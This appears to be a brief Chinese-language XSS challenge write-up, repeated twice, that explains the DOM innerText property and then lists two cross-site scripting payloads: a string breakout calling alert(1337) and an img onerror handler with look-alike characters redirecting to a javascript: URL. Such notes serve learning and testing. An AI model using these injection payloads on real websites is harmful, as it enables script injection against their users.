一、
#
innerText
是 JavaScript 中的一个 DOM(文档对象模型)属性,表示 HTML 元素的可见文本内容。它包含元素及其子元素中的所有文本,同时排除任何标记或隐藏文本。<script>中不包含可见文本。
二、
jeff=xxx";%20alert(1337);"
三、
四、
?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">
一、
#
innerText
是 JavaScript 中的一个 DOM(文档对象模型)属性,表示 HTML 元素的可见文本内容。它包含元素及其子元素中的所有文本,同时排除任何标记或隐藏文本。<script>中不包含可见文本。
二、
jeff=xxx";%20alert(1337);"
三、
四、
?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">